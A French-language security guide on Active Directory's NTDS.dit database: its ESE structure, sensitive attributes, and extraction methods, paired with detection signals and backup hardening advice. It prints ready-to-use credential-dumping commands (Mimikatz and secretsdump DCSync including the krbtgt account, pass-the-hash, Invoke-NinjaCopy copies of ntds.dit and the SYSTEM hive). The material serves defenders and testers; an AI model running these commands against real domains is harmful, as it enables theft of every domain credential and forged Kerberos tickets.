2.1 Le moteur ESE (Extensible Storage Engine)

NTDS.dit utilise le moteur de base de données ESE (Extensible Storage Engine), aussi connu sous le nom de JET Blue. Ce même moteur est utilisé par Exchange Server, Windows Search et d'autres composants Microsoft. ESE est une base de données transactionnelle ISAM (Indexed Sequential Access Method) qui offre des performances élevées pour les opérations de lecture/écriture concurrentes. Pour plus d'informations, consultez les ressources de MITRE ATT&CK. Guide complet NTDS.dit : structure ESE, techniques d'extraction (ntdsutil, vssadmin, DCSync), outils d'analyse (secretsdump, DSInternals), attaques. Active Directory reste la cible privilégiée des attaquants en environnement Windows. Comprendre ntds dit extraction protection secrets est indispensable pour les équipes offensives comme défensives. Nous abordons notamment : 8. scénario complet : de la compromission à la remédiation, questions frequentes et 9. conclusion. Les professionnels y trouveront des recommandations actionnables, des commandes prêtes à l'emploi et des stratégies de mise en œuvre adaptées aux environnements d'entreprise.

  • Techniques d'attaque documentées et vecteurs d'exploitation
  • Indicateurs de compromission (IOC) et règles de détection
  • Stratégies de remédiation et de durcissement Active Directory
  • Impact sur les architectures Zero Trust et IAM

Le fichier NTDS.dit se trouve par défaut dans %SystemRoot%\NTDS\ntds.dit sur chaque contrôleur de domaine. Il est accompagné de fichiers de journalisation transactionnelle :

  • ntds.dit : la base de données principale (taille typique : 100 Mo à plusieurs Go selon le nombre d'objets)
  • edb.log : journal de transactions actif (10 Mo par défaut)
  • edb*.log : journaux de transactions en attente de checkpoint
  • edb.chk : fichier de checkpoint qui indique la dernière transaction validée dans la base
  • temp.edb : espace de travail temporaire pour les opérations internes

2.2 Tables principales

La base NTDS.dit contient plusieurs tables, dont les principales sont :

Table Contenu Intérêt pour l'attaquant
datatable Tous les objets AD (utilisateurs, groupes, ordinateurs, GPO, etc.) avec leurs attributs Hashes NT, historique de mots de passe, attributs confidentiels
link_table Relations entre objets (appartenances aux groupes, liens managedBy, etc.) Reconstruction des groupes et permissions
sd_table Security descriptors (ACL) de tous les objets Identification des permissions abusives
hiddentable Métadonnées internes (epoch, schema version, etc.) Informations de contexte

2.3 Attributs sensibles dans la datatable

La datatable contient les attributs qui intéressent le plus les attaquants. Ces attributs sont stockés de manière chiffrée dans la base, mais le chiffrement peut être déverrouillé avec la Boot Key (aussi appelée SysKey) stockée dans le registre SYSTEM :

Attribut Nom LDAP Description
NT Hash unicodePwd (dBCSPwd) Hash NTLM du mot de passe actuel (MD4 du mot de passe Unicode)
LM Hash dBCSPwd Hash LAN Manager (obsolète, désactivé par défaut depuis Vista)
Password History ntPwdHistory / lmPwdHistory Historique des N derniers hashes (configurable, typiquement 24)
Supplemental Credentials supplementalCredentials Mots de passe en clair (WDigest), clés Kerberos (AES256, AES128, DES-CBC)
SID History sIDHistory SIDs d'anciens domaines (exploitable pour la persistance cross-domaine)
KRBTGT Key unicodePwd (du compte krbtgt) Clé maître Kerberos -- permet la forge de Golden Tickets

Le chiffrement de NTDS.dit n'est pas une protection

Les secrets dans NTDS.dit sont chiffrés avec un système à trois couches (PEK → Boot Key → attribut), mais cette protection est transparente pour tout processus disposant de droits d'administration sur le contrôleur de domaine. L'extraction de la Boot Key depuis le registre SYSTEM est triviale. Le chiffrement protège uniquement contre la lecture directe du fichier sur disque hors contexte -- pas contre un attaquant avec des privilèges d'administration.

Cas concret

L'attaque SolarWinds (2020) a utilisé la technique Golden SAML pour forger des tokens d'authentification, permettant un accès persistant aux environnements Microsoft 365 et Azure AD sans déclencher d'alertes. Cette technique a démontré que la compromission d'un serveur AD FS pouvait anéantir la confiance dans toute l'infrastructure d'identité.

# DCSync avec Mimikatz (depuis une machine quelconque du domaine)
# Nécessite: Replicating Directory Changes + Replicating Directory Changes All
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# DCSync avec secretsdump.py (Impacket) - plus discret
python3 secretsdump.py -just-dc corp.local/admin:Password123@dc01.corp.local

# Extraction ciblée d'un seul utilisateur
python3 secretsdump.py -just-dc-user krbtgt corp.local/admin:Password123@dc01.corp.local

# Via pass-the-hash (sans connaître le mot de passe en clair)
python3 secretsdump.py -just-dc -hashes :aad3b435b51404eeaad3b435b51404ee corp.local/admin@dc01.corp.local

Pourquoi DCSync est si dangereux

DCSync est redoutable pour trois raisons : (1) il ne nécessite pas d'accès physique ou RDP au DC -- une machine compromise sur le réseau suffit ; (2) le trafic de réplication est considéré comme normal entre DCs, ce qui le rend difficile à détecter au niveau réseau ; (3) seuls les droits Replicating Directory Changes et Replicating Directory Changes All sont nécessaires, et ces droits sont parfois attribués à des comptes non Domain Admin (outils de synchronisation, Identity Management). Voir notre article sur BloodHound pour identifier tous les comptes disposant de ces droits.

Détection : L'Event ID 4662 (operation on directory object) avec les GUID de propriétés 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes) et 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes-All) depuis un compte qui n'est pas un contrôleur de domaine est le signal d'alerte principal pour DCSync.

3.4 Méthode 4 : Copie raw avec NinjaCopy / Invoke-NinjaCopy

NinjaCopy (module PowerShell de PowerSploit) permet de copier des fichiers verrouillés en lisant directement les secteurs du disque, contournant les verrous du système de fichiers NTFS. Cette technique est plus discrète que vssadmin car elle ne crée pas de shadow copy :

# NinjaCopy depuis PowerSploit
Import-Module .\Invoke-NinjaCopy.ps1

# Copier NTDS.dit en lisant directement les clusters NTFS
Invoke-NinjaCopy -Path "C:\Windows\NTDS\ntds.dit" -LocalDestination "C:\temp\ntds.dit"

# Copier le registre SYSTEM
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\temp\SYSTEM"

Détection : Surveiller le chargement de modules PowerShell suspects, l'exécution de scripts avec des noms liés à NinjaCopy, et l'accès direct aux volumes (DeviceIoControl) depuis des processus non système. Sysmon Event ID 7 (Image Loaded) peut capturer le chargement du module.

3.5 Méthode 5 : Extraction via sauvegarde ou média IFM

Les sauvegardes du System State d'un contrôleur de domaine contiennent une copie de NTDS.dit. Si un attaquant accède à l'infrastructure de sauvegarde (serveur Veeam, bandes, stockage cloud), il peut extraire NTDS.dit sans jamais toucher au DC lui-même. De même, les médias IFM créés pour la promotion de DCs supplémentaires contiennent une copie complète de la base :

  • Sauvegardes Windows Server Backup : le System State contient NTDS.dit, le registre, et SYSVOL
  • Sauvegardes Veeam / Commvault / Veritas : les agents sur les DCs capturent ntds.dit
  • Médias IFM oubliés : répertoires laissés sur des partages ou des DCs après promotion
  • Snapshots VM : un snapshot de la VM du DC contient le fichier NTDS.dit en état cohérent

Protection des sauvegardes : une priorité absolue

Les sauvegardes de DCs doivent bénéficier du même niveau de protection que les DCs eux-mêmes. Chiffrez les sauvegardes, restreignez l'accès au stockage de sauvegarde aux seuls comptes d'administration Tier 0, et supprimez immédiatement les médias IFM après utilisation. Un attaquant qui accède à une sauvegarde vieille de 6 mois obtient les hashes de tous les mots de passe inchangés depuis -- y compris probablement le hash du compte KRBTGT.

DSInternals est également un outil défensif puissant. Utilisez Test-PasswordQuality sur une copie de NTDS.dit pour identifier les comptes avec des mots de passe faibles, compromis (présents dans les bases HIBP), ou identiques entre plusieurs comptes. C'est un audit de mots de passe sans avoir besoin de les craquer. Combinez avec LAPS pour les comptes d'administration locale.